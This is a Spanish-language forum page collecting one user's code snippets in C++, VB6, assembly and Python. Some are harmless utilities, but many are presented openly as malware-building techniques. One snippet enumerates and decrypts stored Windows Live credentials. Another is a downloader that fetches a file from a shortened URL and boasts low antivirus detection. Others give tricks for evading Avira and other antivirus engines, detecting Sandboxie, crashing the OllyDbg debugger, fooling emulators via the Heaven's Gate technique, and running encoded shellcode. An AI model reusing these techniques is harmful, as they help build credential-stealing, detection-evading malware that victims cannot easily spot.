Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Karcrack

#1
Código: cpp
#ifndef __RA_ARRAY__
#define __RA_ARRAY__

#include <intrin.h>
#define ULONG unsigned long

template <typename T>
class random_access_array{
    const ULONG elements;
    const ULONG R;
    ULONG       a;
    ULONG       c;
    T*          buffer;

    const ULONG nextPowerOf2(ULONG n)const{
        if ((n & (n - 1)) == 0)
            return n;

        n |= (n >> 1);
        n |= (n >> 2);
        n |= (n >> 4);
        n |= (n >> 8);
        n |= (n >> 16);
        return n + 1;
    }

    ULONG LCG(ULONG X, ULONG a, ULONG c, ULONG R){
        return (a*X + c) % R;
    }

    ULONG randmax(ULONG max){
        return LCG((ULONG) __rdtsc(), 0x43FD43FDUL, 0xC39EC3UL, max);
    }

    size_t getRealIdx(int index){
        ULONG X = 0;
        while (index-- >= 0)
            while ((X = LCG(X, a, c, R)) >= elements){}

        return X;
    }

public:
    random_access_array(T* buffer, size_t elements) : elements(elements), buffer(buffer), R(nextPowerOf2(elements)){
        a = 2 * randmax(R / 2) + 1;
        c = 4 * randmax(R / 4) + 1;
    }

    random_access_array(T* buffer, size_t elements, ULONG a, ULONG c) : elements(elements), buffer(buffer), R(nextPowerOf2(elements)), a(a), c(c){}

    T& operator [](size_t i){
        return buffer[getRealIdx(i)];
    }

    T  operator [](const size_t i) const{
        return buffer[getRealIdx(i)];
    }
};

#endif//__RA_ARRAY__


Ejemplo de uso:
Código: cpp
    #define SIZE 573

    random_access_array<int> ra(new int[SIZE], SIZE);

    for (int i = 0; i < SIZE; i++)
        ra[i] = i;

    for (int i = 0; i < SIZE; i++)
        cout << ra[i] << endl;


Utilidad real:
Código: cpp
    #define SIZE sizeof(s) - 1

    char s[] = "!eru!akklccr !rza";

    random_access_array<char> ra(s, SIZE, 5, 25);

    for (int i = 0; i < SIZE; i++)
        cout << ra[i];


Saludos :)
#2
Códigos Fuentes / NanoInvoke
Septiembre 12, 2013, 11:05:30 PM
Código: vb
'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByRef first_asm As Currency, ByRef params() As Variant, ByVal lib As String, ByVal fnc As String, Optional ByVal null0 As Long = 0) As Long
'---------------------------------------------------------------------------------------
' Author : Karcrack
' Date   : 12092013
' Credits: sonykuccio (http://hackhound.org/forums/topic/2790-vb6asm-%C2%B5callapi/)
'---------------------------------------------------------------------------------------

Public Function NanoInvoke(ByRef sLib As String, ByRef sFnc As String, ParamArray params() As Variant) As Long
    Dim asm(11)     As Currency
    Dim p()         As Variant
   
    If UBound(params) >= 0 Then p = params

    asm(0) = -881438862054780.1504@: asm(1) = -140193315782017.312@: asm(2) = 93112413858165.2867@: asm(3) = 593189448021741.0902@
    asm(4) = 843045704464075.3748@: asm(5) = -4834317066834.7356@: asm(6) = 260429944098681.7488@: asm(7) = 537140947255014.6699@
    asm(8) = 7683543183094.8624@: asm(9) = 598313605633923.5838@: asm(10) = -200740417519275.4208@: asm(11) = 109.8337@

    NanoInvoke = CallWindowProcW(asm(0), p, sLib, sFnc)
End Function
' ASM Code: pastebin.com/5gnLv7xn


Un pequeño reto que surgió en HackHound :P

Ejemplo de uso:
Código: vb
    Call NanoInvoke("user32", "MessageBoxW", 0, StrPtr("test"), StrPtr("karcrack"), 0)
    Call NanoInvoke("kernel32", "ExitProcess", 0)
#3
Código: asm
;use32
; Karcrack - 190713
proc NotEmulated
   push  cs             ;//put 0x23 in stack
   call  to64
   ret
to64:
   push  $CB0033        ;//put 0x33 in stack
   call  to64 + 3       ;//call to retf
use64
   xor   rax, rax       ;//DEC EAX; XOR EAX, EAX
   inc   rax            ;//DEC EAX; INC EAX
   retf                 ;//Back to x86
endp   


El método consiste en ejecutar ensamblador x64 dentro de un proceso x86 usando la heaven's gate. Básicamente la técnica consiste en cambiar el segmento de código.

Si ensamblamos en x64 las siguientes instrucciones:
Código: asm
xor rax, rax
inc rax

Y luego las desensamblamos como si fuese x86 veremos que se transforma en:
Código: asm
dec eax
xor eax, eax
dec eax
inc eax

El prefijo que indica que se trata de un registro de 8bytes es "dec eax". Se observa que si las instrucciones se ejecutan en x64 devuelve 1 en EAX pero si se hace en x86 devuelve 0.

No conozco ningún emulador que detecte el cambio de segmento y cambie la arquitectura que emula jaja

Disfrutad :)
#4
Código: cpp
using namespace std;
#include <Windows.h>
#include <string>

class API{
public:
    void* (*call)(...);
    API(string dll, string fnc){
        this->call = (void *(*)(...))GetProcAddress(LoadLibraryA(dll.c_str()), fnc.c_str());
    };
};


Ejemplo de uso:
Código: cpp
#pragma comment(linker, "/ENTRY:main")

#include "invoke.h"

void main(){
    API("URLMON", "URLDownloadToFileA").call(0, "http://goo.gl/veps2", "C:/test.png", 0, 0);
    __asm sub esp, 5*4
    API("KERNEL32","ExitProcess").call(0);
    //__asm sub esp, 4
}

Detección: 2/44
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Mucho más compacto a lA hora de llamar al puntero que mis otras versiones, aunque hay que reparar de forma manual el stack hasta que diseñe un template para hacerlo.
#5
Códigos Fuentes / RC4+ clase
Junio 16, 2013, 06:32:18 PM
Código: cpp
#define SWAP(x,y) {x^=y;y^=x;x^=y;}
/*
*  AUTHOR : Karcrack
*  DATE   : 100113
*  PURPOSE: RC4+ C++ cipher/decipher.
*/
template<unsigned int SIZE, class TYPE> struct myArr{
private:
    TYPE *data;
public:
    operator int(){
        return (int)data;
    }

    myArr& operator=(TYPE* rhs){
        this->data = rhs;
        return *this;
    };

    TYPE& operator[](unsigned int idx){
        return data[idx%SIZE];
    };
};

template <unsigned int KEY_SIZE>class RC4P{
private:
    unsigned int    i,
                    j,
                    size;

    myArr<256, char>     S;
    myArr<KEY_SIZE, char>K;
public:
    RC4P(char S[], char K[], unsigned int size){
        this->S     = S;
        this->K     = K;
        this->size  = size;
    };
    void calculate(char O[]){
        //KSA
        if(S==0 || K==0)
            return;

        j = 0;
        for(i = 0; i<256; i++)
            S[i] = i;

        for(i = 0; i<256; i++){
            j = j + S[i] + K[i];
            SWAP(S[i], S[j])
        };
        //PRGA
        unsigned int x = 0,
                     a,
                     b,
                     c;
        i = 0;
        j = 0;
        while(x<size){
            i++;
            a = S[i];
            j+= a;
            b = S[j];
            S[i] = b;
            S[j] = a;
            c = S[i<<5 ^ j>>3] + S[j<<5 ^ i>>3];
            O[x]^= (S[a+b] + S[c^0xAA]) ^ S[j+b];
            x++;
            i++;
        };
    };
};



Ejemplo de uso:
Código: cpp
#pragma comment(linker, "/ENTRY:main")
#include <Windows.h>
#include "rc4p.cpp"

void main(){
    char* S = (char*)LocalAlloc(GPTR, 256*sizeof(char));
    char K[]= {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15};

    char crypt[]= "karcrack";

    RC4P<sizeof(K)> r(S, K, sizeof(crypt));

    r.calculate(crypt);
    r.calculate(crypt);

    LocalFree(S);
}
#6
Comparto este pequeño código para obtener un bit de una array.

Yo lo uso para almacenar una cantidad indeterminada de bits de configuración. Obviamente configuración de estado: verdadero/falso.

Código: cpp

struct OPTIONS{
private:
    unsigned long* config;
public:
    OPTIONS(unsigned long* config){
        this->config = config;
    }
    bool getOpt(unsigned long index){
        unsigned int    iIdx;
        unsigned long   dwCfg;

        dwCfg   = *(unsigned long*)(this->config + index/(sizeof(unsigned long)*8));
        iIdx    = index%(sizeof(unsigned long)*8);

        return ((dwCfg>>iIdx)&0x1);
    }
};


Ejemplo de uso:
Código: cpp
void main(){
    unsigned long cfg[] = {0xBABA, 0xDEADBEEF};

    OPTIONS o(cfg);

    for(int i = 0; i<64; i++)
        printf("%d", o.getOpt(i));
}


Ejemplo real de uso:
Código: cpp
#define INYECT_CODE 0x0
#define MUTEX       0x1
#define FORCE_ADMIN 0x2

void main(){
    OPTIONS o(GetModuleHandle(0));

    if(o.getOpt(INYECT_CODE))
        //Whatever
    if(o.getOpt(MUTEX))
        //Whatever
    if(o.getOpt(FORCE_ADMIN))
        //Whatever
    else
        //Whatever
}


Saludos 8)
#7
Código: cpp
PWCHAR GetDefaultBrowserPathW(){
    #define ASSOCSTR_EXECUTABLE 2
    typedef HRESULT (*AQSW)(DWORD, DWORD, LPCWSTR, LPCWSTR, LPWSTR, DWORD*);
    DWORD cchPath = MAX_PATH*2;
    PWCHAR szPath = (PWCHAR)LocalAlloc(LPTR, cchPath);

    ((AQSW)GetProcAddress(LoadLibraryW(L"shlwapi"), "AssocQueryStringW"))(0, ASSOCSTR_EXECUTABLE, L"http", L"open", szPath, &cchPath);

    return szPath;
}

void main(){
    PWCHAR  sPath   = GetDefaultBrowserPathW();
    MessageBoxW(0, sPath, NULL, 0);
    LocalFree(sPath);
    ExitProcess(0);
}


Saludos :)
#8
Código: cpp
/*#ifndef UNICODE
#define UNICODE
#endif*/

#pragma comment(lib, "crypt32.lib")
#include <Windows.h>
#include <wincred.h>

void main(){
    DWORD       dwCount;
    PCREDENTIAL*Credentials;
    PCREDENTIAL Cred;

    CredEnumerate(TEXT("WindowsLive:name=*"), 0, &dwCount, &Credentials);

    while(dwCount--){
        Cred = Credentials[dwCount];
        MessageBox(0, Cred->UserName, NULL, 0);

        CryptUnprotectData((PDATA_BLOB)Cred->CredentialBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, NULL);
        if (Cred->CredentialBlobSize)
            MessageBox(0, (LPWSTR)Cred->CredentialBlob, NULL, 0);
    }
}

Código: php
https://www.virustotal.com/file/f5c09361788c76b3ab5e79cc586aebd9f120980e4a93facdbbfdca92e1d1b1c8/analysis/1332799298/
#9
Código: vb
Option Explicit
'KERNEL32
Private Declare Function GetVersion Lib "KERNEL32" () As Long
'SHELL32
Private Declare Function SHGetUserPicturePath Lib "SHELL32" Alias "#261" (ByVal pUserOrPicName As Long, ByVal sguppFlags As Long, ByVal pwszPicPath As Long, ByVal picPathLen As Long) As Long
Private Declare Function xp_SHGetUserPicturePath Lib "SHELL32" Alias "#233" (ByVal pUserOrPicName As Long, ByVal sguppFlags As Long, ByVal pwszPicPath As Long) As Long

Private Const SGUPP_CREATEPICTURESDIR = &H80000000

Public Function LoadUserTile() As IPictureDisp
    Dim sPath   As String
   
    sPath = String$(256, vbNullChar)
   
    Select Case (GetVersion() And &HFF)
        Case 5
            Call xp_SHGetUserPicturePath(0, SGUPP_CREATEPICTURESDIR, StrPtr(sPath))
        Case 6
            Call SHGetUserPicturePath(0, SGUPP_CREATEPICTURESDIR, StrPtr(sPath), 256)
    End Select
   
    sPath = Left$(sPath, InStr(1, sPath, vbNullChar) - 1)
   
    Set LoadUserTile = LoadPicture(sPath)
End Function


Para probarlo añade un PictureBox en un form:
Código: vb
Private Sub Form_Load()
    Picture1.Picture = LoadUserTile()
End Sub


Usa un export no documentado de SHELL32.. que varía según el SO en el que estamos... por eso el GetVersion().

saludos
#10
Código: vb
Option Explicit

'---------------------------------------------------------------------------------------
' Module    : mPatchFunction
' Author    : Karcrack
' Date      : 27/11/2011
' Purpose   : Patch function with JMP to new addr
'---------------------------------------------------------------------------------------

'NTDLL
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long

Private Const CURRENT_PROCESS = (-1)

Public Function PatchFunction(ByVal pFnc As Long, ByVal pNewFnc As Long, Optional ByVal hProc As Long = CURRENT_PROCESS) As Boolean
    Dim cCode   As Currency
   
    cCode = &HB8& * (0.0001@)                   'mov EAX, imm32
    cCode = cCode + (pNewFnc * 0.0256@)         'imm32
    cCode = cCode + (&HE0FF& * 109951162.7776@) 'jmp EAX
   
    PatchFunction = NtWriteVirtualMemory(hProc, ByVal pFnc&, cCode, &H8, 0&)
End Function


Ejemplo de uso:
Código: vb
Sub Main()
    Dim pMessageBoxW    As Long
   
    pMessageBoxW = GetProcAddress(LoadLibrary("USER32"), "MessageBoxW")
   
    If PatchFunction(AddressOf MessageBoxW__, pMessageBoxW) Then
        If MessageBoxW__(0, "Did you like the function?", "Karcrack", vbYesNo) = vbYes Then
            Call MessageBoxW__(0, "Glad you liked it", "Karcrack", 0)
        Else
            Call MessageBoxW__(0, "F**k you bastard xD", "Karcrack", 0)
        End If
    End If
End Sub

Public Function MessageBoxW__(ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
    'JMP &MessageBoxW@USER32
End Function
#11
Bueno, siendo Avira el antivirus que más me ha tocado los cojo*** a la hora de codear malware me puse a analizar porque saltaba la más famosa de sus detecciones (TR/Dropper.Gen)... Ésta salta por muchas razones... pero he descubierto una que no he visto nunca documentada en ningún foro :P

Básicamente Avira detecta como Dropper una aplicación en VB6 si ésta gasta __vbaAryLock/__vbaAryUnlock... Estas funciones sirven para evitar que al llamar a una función el Array que pasas como parámetro cambie de tamaño. Como dato diré que sencillamente llaman a sus funciones análogas en OLEAUT32.

Y ahora lo interesante ¿Cómo narices evitamos llamar a esas APIs si tenemos que pasar un item de un Array a una función? La única forma que se me ha ocurrido a mí es usando la estructura SAFEARRAY (de la que están compuestos todos los Arrays en VB6) para acceder al puntero con los datos del array.
Tal que así:
Código: php
DWORD[DWORD[VarPtrA(arr)] + &HC]


Siendo VarPtrA() una declaración especial de VarPtr() que acepte como entrada Arrays :D No pongo código de ejemplo para dejar algo de trabajo al lector :P

Saludos! ;D


Otro pequeño tip :D
Para saltarse en algunas ocasiones Avira-TR/Dropper.Gen o F-PROT-W32/VBTrojan.9!Maximus basta con establecer el FormCount del VBHeader a 0 aún teniendo formularios en tú aplicación (eso sí, éstos no se cargarán)
#12
Hace mucho tiempo que no toqueteaba a mi querido VB6 :P Así que aquí estoy con otra primicia chicoooos!!! :laugh: :laugh:

Este modulito que os presento permite trabajar con la memoria sin el uso de ningún API!!!!

Eso sí! Tenéis que desactivar la comprobación de límites de matrices :P Os pongo una foto:

Además solo funciona compilado, como muchos otros hacks el IDE no permite tocar demasiado :-\ :xD

Y como todos estáis deseando aquí viene el sencillo pero eficaz código :)
Código: vb
'---------------------------------------------------------------------------------------
' Module    : mMemory
' Author    : Karcrack
' Date      : 20/09/2011
' Purpose   : Work with memory withouth using any API
' History   : 20/09/2011 First cut .....................................................
'---------------------------------------------------------------------------------------

Option Explicit

Private bvHack(0)               As Byte
Private lHackDelta              As Long
Private bInitialized            As Boolean

Public Function Initialize() As Boolean
    On Error GoTo Error_Handle

    bvHack(-1) = bvHack(-1) 'Error check
    lHackDelta = VarPtr(bvHack(0))
   
    Initialize = True
    bInitialized = Initialize
    Exit Function
Error_Handle:
    If Err.Number = 9 Then Debug.Print "Remember to tick 'Remove array boundary check' and compile before using"
    End
End Function

Public Function GetByte(ByVal lPtr As Long) As Byte
    If bInitialized Then GetByte = bvHack(lPtr - lHackDelta)
End Function

Public Function GetWord(ByVal lPtr As Long) As Integer
    If bInitialized Then GetWord = MakeWord(GetByte(lPtr + &H0), GetByte(lPtr + &H1))
End Function

Public Function GetDWord(ByVal lPtr As Long) As Long
    If bInitialized Then GetDWord = MakeDWord(GetWord(lPtr + &H0), GetWord(lPtr + &H2))
End Function

Public Sub PutByte(ByVal lPtr As Long, ByVal bByte As Byte)
    If bInitialized Then bvHack(lPtr - lHackDelta) = bByte
End Sub

Public Sub PutWord(ByVal lPtr As Long, ByVal iWord As Integer)
    If bInitialized Then Call PutByte(lPtr + &H0, iWord And &HFF): Call PutByte(lPtr + &H1, (iWord And &HFF00&) \ &H100)
End Sub

Public Sub PutDWord(ByVal lPtr As Long, ByVal lDWord As Long)
    If bInitialized Then Call PutWord(lPtr + &H0, IIf(lDWord And &H8000&, lDWord Or &HFFFF0000, lDWord And &HFFFF&)): Call PutWord(lPtr + &H2, (lDWord And &HFFFF0000) \ &H10000)
End Sub

Private Function MakeWord(ByVal loByte As Byte, ByVal hiByte As Byte) As Integer '[http://www.xbeat.net/vbspeed/c_MakeWord.htm#MakeWord02]
    If hiByte And &H80 Then
        MakeWord = ((hiByte * &H100&) Or loByte) Or &HFFFF0000
    Else
        MakeWord = (hiByte * &H100) Or loByte
    End If
End Function

Private Function MakeDWord(ByVal LoWord As Integer, ByVal HiWord As Integer) As Long '[http://www.xbeat.net/vbspeed/c_MakeDWord.htm#MakeDWord05]
    MakeDWord = (HiWord * &H10000) Or (LoWord And &HFFFF&)
End Function


Si saco un poco de tiempo libre hago una clase chuli piruli con este mismo sistema :)

Happy codin' ::)
#13
Código: vb
Option Explicit

'KERNEL32
Private Declare Function lstrcpyW Lib "KERNEL32" (ByVal lpString1 As Long, ByVal lpString2 As Long) As Long
'NTDLL
Private Declare Function RtlGetCurrentPeb Lib "NTDLL" () As Long
'MSVBVM60
Private Declare Sub GetMem4 Lib "MSVBVM60" (ByVal Addr As Long, ByRef RetVal As Long)

Public Enum STRING_TYPE
    CurrentDirectoryPath = &H28
    DllPath = &H34
    ImagePathName = &H3C
    CommandLine = &H44
    WindowTitle = &H74
    DesktopName = &H7C
    ShellInfo = &H80
    RuntimeData = &H84
End Enum

'---------------------------------------------------------------------------------------
' Procedure : GetUPPString
' Author    : Karcrack
' Date      : 24/09/2009
' Purpose   : Get strings from PEB.RTL_USER_PROCESS_PARAMETERS
'---------------------------------------------------------------------------------------
'
Public Sub GetUPPString(ByRef sRet As String, ByVal lType As STRING_TYPE)
    Dim lUPP        As Long         'RTL_USER_PROCESS_PARAMETERS
    Dim lAddr       As Long         'RTL_USER_PROCESS_PARAMETERS.X
   
    Call GetMem4(RtlGetCurrentPeb + &H10, lUPP)
    Call GetMem4(lUPP + lType, lAddr)
    Call lstrcpyW(StrPtr(sRet), lAddr)
End Sub


Ejemplo de uso:
Código: vb
Sub Main()
    Dim sStr        As String * 260
   
    Call GetUPPString(sStr, ImagePathName)
   
    MsgBox "MiRuta:" & vbCrLf & sStr
End Sub


Minimalista al maximo ;D

Cualquier duda preguntad ;)
#14
Código: vb
Option Explicit
'NTDLL
Private Declare Function RtlGetCurrentPeb Lib "NTDLL" () As Long
'MSVBVM60
Private Declare Sub GetMem4 Lib "MSVBVM60" (ByVal Addr As Long, ByRef RetVal As Long)

'---------------------------------------------------------------------------------------
' Procedure : AmISandboxied
' Author    : Karcrack
' Date      : 13/03/2011
' Purpose   : Know if we are running under Sandboxie
'---------------------------------------------------------------------------------------
'
Public Function AmISandboxied() As Boolean
    Dim lUPP        As Long         '&RTL_USER_PROCESS_PARAMETERS
    Dim lFlags      As Long         'RTL_USER_PROCESS_PARAMETERS.Flags
   
    Call GetMem4(RtlGetCurrentPeb() + &H10, lUPP)
    Call GetMem4(lUPP + &H8, lFlags)
    AmISandboxied = (lFlags <> 1)
End Function


Habitualmente PEB.RTL_USER_PROCESS_PARAMETERS.Flags vale 1, pero cuando estas siendo ejecutado dentro de Sandboxie tiene un valor distinto :)
#15
Código: vb
'---------------------------------------------------------------------------------------
' Module    : mAPIPatchByID
' Author    : Karcrack
' Now       : 23/04/2011 14:13
' Purpose   : Patch API functions by ID
' History   : 23/04/2011 First cut .........................................................
'---------------------------------------------------------------------------------------

Option Explicit

'KERNEL32
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long

Public Sub PatchAPIAddr(ByVal lID As Long, ByVal lAddr As Long)
    Dim hInstance       As Long
    Dim lExtTablePtr    As Long
   
    hInstance = App.hInstance
    lExtTablePtr = GetDWORD(GetDWORD((hInstance + GetDWORD(hInstance + GetDWORD(hInstance + &H3C) + &H28)) + &H1) + &H30) + &H234
    If GetDWORD(lExtTablePtr + &H4) >= lID Then
        Call PutDWORD(GetDWORD(GetDWORD(GetDWORD(lExtTablePtr) + (8 * lID) + 4) + &H19), lAddr)
    End If
End Sub

Private Sub PutDWORD(ByVal lAddr As Long, ByVal lDWORD As Long)
    Call NtWriteVirtualMemory(-1, ByVal lAddr, lDWORD, 4, ByVal 0&)
End Sub

Private Function GetDWORD(ByVal lAddr As Long) As Long
    Call NtWriteVirtualMemory(-1, GetDWORD, ByVal lAddr, 4, ByVal 0&)
End Function


Para que sirve? Para cargar APIs dinamicamente :D

Un ejemplo:
Código: vb
Option Explicit

'USER32
Private Declare Function MessageBox Lib "nadaesloqueparece" Alias "Karcrack" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
'KERNEL32
Private Declare Function GetProcAddress Lib "KERNEL32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long

Sub Main()
    Call PatchAPIAddr(2, GetProcAddress(LoadLibrary("USER32"), "MessageBoxA"))
    Call MessageBox(0, "Te has fijado en la declaracion del API 'MessageBox'?", "Hola :)", 0)
End Sub

Otro un poco mas enrevesado:
Código: vb
Option Explicit

'USER32
Private Declare Function fnc1& Lib "whatever" (ByVal a&, ByVal b&, ByVal c&, ByVal d&)
Private Declare Function fnc2& Lib "whatever" (ByVal a&, ByVal b&)
'KERNEL32
Private Declare Function GetProcAddress Lib "KERNEL32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long

Private Const u32$ = "ZXJW87"
Private Const msgbx$ = "RjxxfljGt}\"
Private Const ktmr$ = "PnqqYnrjw"
Private Const stmr$ = "XjyYnrjw"
Private x&
Private bo&

Sub Main()
    Dim p&
   
    p = GetProcAddress(LoadLibrary(d(u32)), d(stmr))
    Call PatchAPIAddr(3, p)
    x = fnc1(0, 0, 2 * 1000, AddressOf tproc)
    p = GetProcAddress(LoadLibrary(d(u32)), d(msgbx))
    Call PatchAPIAddr(3, p)
    p = GetProcAddress(LoadLibrary(d(u32)), d(ktmr))
    Call PatchAPIAddr(2, p)
    bo = 1
    While bo
        DoEvents
    Wend
End Sub

Private Function d$(s$)
    Dim i&
    d = s
    For i = 1 To Len(d)
        Mid$(d, i, 1) = Chr$(Asc(Mid$(d, i, 1)) - 5)
    Next i
End Function

Private Function tproc&(ByVal a&, ByVal b&, ByVal c&, ByVal d&)
    If fnc1(0, StrPtr("Seguimos?"), StrPtr(":)"), vbYesNo) = vbNo Then
        bo = 0
        Call fnc2(0, x)
    End If
End Function


Los ejemplos han de ir en un modulo aparte puesto después del modulo 'mAPIPatchByID' para que los IDs se correspondiesen... en caso contrario hay que calcular los IDs usando por ejemplo el OllyDbg :P

Cualquier duda preguntad!
#16
ASM / Cifrado - packed xor FPU
Junio 16, 2013, 06:24:38 PM
Código: asm
void __declspec(naked) DoCipher(DWORD ptr, DWORD nQwords){
__asm{
mov eax, [esp+4]
mov ecx, [esp+8]
finit
fldpi //mm7 = pi
Redo:
lea ebx, [eax+(ecx*8[b][/b])-8]
movq mm0, QWORD PTR[ebx]
pxor mm0, mm7
movq QWORD PTR[ebx], mm0
loop Redo
ret
}
}


Una forma original de aplicar un cifrado XOR... utiliza como clave PI :P Los datos tienen que estar alineados a 8 bytes. Recibe como parametros el puntero al primero QWORD y como segundo parametro la cantidad de QWORDS.
#17
Una función que obtiene un "hashtag" diferente por día...
Código: python
def todayhashtag(MAGIC = "abcdefghijklmnopqrstuvwxyz0123456789", CHR_PER_FIELD = 5):
    """
        Obtiene un hashtag unico para el dia de hoy
    """
    def struct_time_now(SERVER = 'hora.roa.es'):
        """
            Conectamos al servidor NTP (UDP, puerto 123) y obtenemos la fecha.
            En caso de cualquier problema obtiene la fecha actual del ordenador.
        """
        from time import gmtime
        try:
            from socket import socket
            from struct import unpack
            client = socket(2, 2)
            client.sendto('\x1b' + (47 *'\0'), (SERVER, 123))
            r = gmtime(unpack('!12I', client.recv(1024))[10] - 2208988800L)
        except:
            r = gmtime()
            pass
        finally:
            return r

    t = struct_time_now()
    r = "#"
    for i in [2,1,0]:
        for w in range(1, CHR_PER_FIELD+1):
            r+= MAGIC[(t[i]*w) % len(MAGIC)]

    return r


Hay dos elementos variables en la función: "MAGIC" y "CHR_PER_FIELD". El primero no es más que el listado de caracteres utilizados y el segundo es la cantidad de chars por cada valor (año, mes y día)

Ejemplo de hoy con diferentes variaciones de CHR_PER_FIELD (de 1 a 12):
Citar#qe6
#q6ei62
#q6meim62y
#q6m2eimq62yu
#q6m2ieimqu62yuq
#q6m2iyeimquy62yuqm
#q6m2iyeeimquy262yuqmi
#q6m2iyeueimquy2662yuqmie
#q6m2iyeuaeimquy26a62yuqmiea
#q6m2iyeuaqeimquy26ae62yuqmiea6
#q6m2iyeuaq6eimquy26aei62yuqmiea62

Con un valor de MAGIC más pequeño pero más pintoresco xD ("karc137" y otra vez con CHR_PER_FIELD de 1 a 12):
Citar#r1c
#r11ac7
#r171a3c7r
#r17a1a3rc7r3
#r17ac1a3r7c7r3a
#r17ac31a3r7cc7r3a1
#r17ac3k1a3r7ckc7r3a1k
#r17ac3kr1a3r7ck1c7r3a1kc
#r17ac3kr11a3r7ck1ac7r3a1kc7
#r17ac3kr171a3r7ck1a3c7r3a1kc7r
#r17ac3kr17a1a3r7ck1a3rc7r3a1kc7r3

No es muy útil que digamos... pero quería probar ciertas cosas y he decidido compartir el código xD

Saludos.
#18
Bastante info en el título. Añadid esto cerca del EntryPoint de cualquier aplicación y veréis que el OllyDbg es incapaz de realizar el análisis sin estallar.

Código: asm
    fld tword[$+6]
    dt -9.2233720368547758075e18


Respecto al error, según he leído Olly tienes problemas para leer ese número.

Saludos ;D
#19
ASM / [FASM] Ascii85 decode
Junio 16, 2013, 06:13:38 PM
Código: asm
include 'win32ax.inc'
entry main

section '.code' executable writeable readable
main:
        mov  esi, _enc
        mov  edi, esi
.m:     push 5
        pop  ecx
        xor  edx, edx
@@:     imul edx, 85
        xor  eax, eax
        lodsb
        sub  al, 33
        jl   @F
        add  edx, eax
        loop @B
        bswap edx
        mov  eax, edx
        stosd
        jmp  .m
@@:_enc:db "OH>QcOH>QcOH>QcOH>QcOH>QcOH>QcOH>QcOH>QcOH>QcOH>QcOH>QcOH>QcOH>QcOH?t2'*&$M",0   


Básicamente decodifica la cadena Ascii85 (AKA base85) y la ejecuta. Para generar la cadena en base85 uso este script en Python:
Código: python
import struct

def b85encode(arr):
    text = ''.join(map(chr,arr))
    l = len(text)
    r = l % 4
    if r:
        text += '\0' * (4 - r)
    longs = len(text) >> 2
    out = []
    words = struct.unpack('>' + 'L' * longs, text[0:longs*4])
    for word in words:
        rems = [0, 0, 0, 0, 0]
        for i in range(4, -1, -1):
            rems[i] = chr((word % 85)+33)
            word /= 85
        out.extend(rems)

    return ''.join(out)

print b85encode([0x90]*54 + [0xB8, 0x37, 0x13, 0x00, 0x00, 0xC3])


saludos
#20
Python / [PYTHON] Resolver URL
Junio 16, 2013, 06:13:07 PM
Código: python
from urllib2 import urlopen

def ResolveURL(URL, tOut=5):
    return urlopen(URL, timeout=tOut).geturl()

print ResolveURL("http://t.co/p1iXIjsE")
print ResolveURL("http://goo.gl/9RWVW")
print ResolveURL("http://www.google.es")


He necesitado expandir URL acortadas y he acabado con un código tan breve como eficaz. Expande incluso URL acortadas con diversos servicios anidados (como las que suele haber en Twitter). Obviamente sólo funciona con las redirecciones hechas con la cabecera HTTP, no funcionaría con servicios como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta...

Saludos :-*
#21
Debido a que la forma habitual de obtener el puntero del PEB estaba haciendo que me saltasen los AVs he diseñado otra que se los salta :-* :-*

Forma habitual:
Código: asm
        xor eax, eax
        mov eax, [FS:eax+$30]


Forma que he ideado:
Código: asm
        push $30
        pop  esi
        db $64
        lodsd

(Ambas establecen EAX al puntero del PEB)
Utiliza un byte menos :P :P


Añado más métodos:


Forma ofuscada:
Código: asm
   push $30     ;v
   pop  ebx     ;>EBX = 0x30
   mov  cl, 4   ;>CL  = 4

@@:mov  al, cl  ;>AL  = CL        <<<
   db   $64     ;v                  ^
   xlatb        ;>AL  = FS:[EBX+AL] ^
   shl  eax, 8  ;>EAX <<= 8         ^
   loop @B      ;>>>>>>>>>>>>>>>>>>>^ (--ECX>0)?

Forma muy similar pero con opcodes diferentes :D (Se podría variar con muchos otros movs condicionales):
Código: asm
   xor   eax, eax
   cmovz eax, [FS:eax+$30]


Saludos :D
#22
VB6 tiene una clase que te permite obtener cierta información cuando la llamas desde un control activeX, pero las funciones las exporta con normalidad en su DLL... Así pues se puede obtener el LocaleID llamando a una función de MSVBVM60

Código: vb
Private Declare Function rtcGetHostLCID Lib "MSVBVM60" () As Long

Private Sub Form_Load()
   MsgBox rtcGetHostLCID
End Sub


No tiene ningún misterio, pero no la había visto en ningún lado.

Saludos
#23
Otros lenguajes / Windows Research Kernel v1.2
Junio 16, 2013, 06:10:19 PM
CitarWRK v1.2

The Windows Research Kernel v1.2 contains the sources for the core of
the Windows (NTOS) kernel and a build environment for a kernel that will run on
    x86     (Windows Server 2003 Service Pack 1) and
    amd64   (Windows XP x64 Professional)
A future version may also support booting WRK kernels on Windows XP x86 systems,
but the current kernels will fail to boot due to differences in some shared
structures.

The NTOS kernel implements the basic OS functions
for processes, threads, virtual memory and cache managers, I/O management,
the registry, executive functions such as the kernel heap and synchronization,
the object manager, the local procedure call mechanism, the security reference
monitor, low-level CPU management (thread scheduling, Asynchronous and Deferred
Procedure calls, interrupt/trap handling, exceptions), etc.

The NT Hardware Abstraction Layer, file systems, network stacks, and device
drivers are implemented separately from NTOS and loaded into kernel mode
as dynamic libraries.  Sources for these dynamic components are not included
in the WRK, but some are available in various development kits published
by Microsoft, such as the Installable File System (IFS) Kit and the
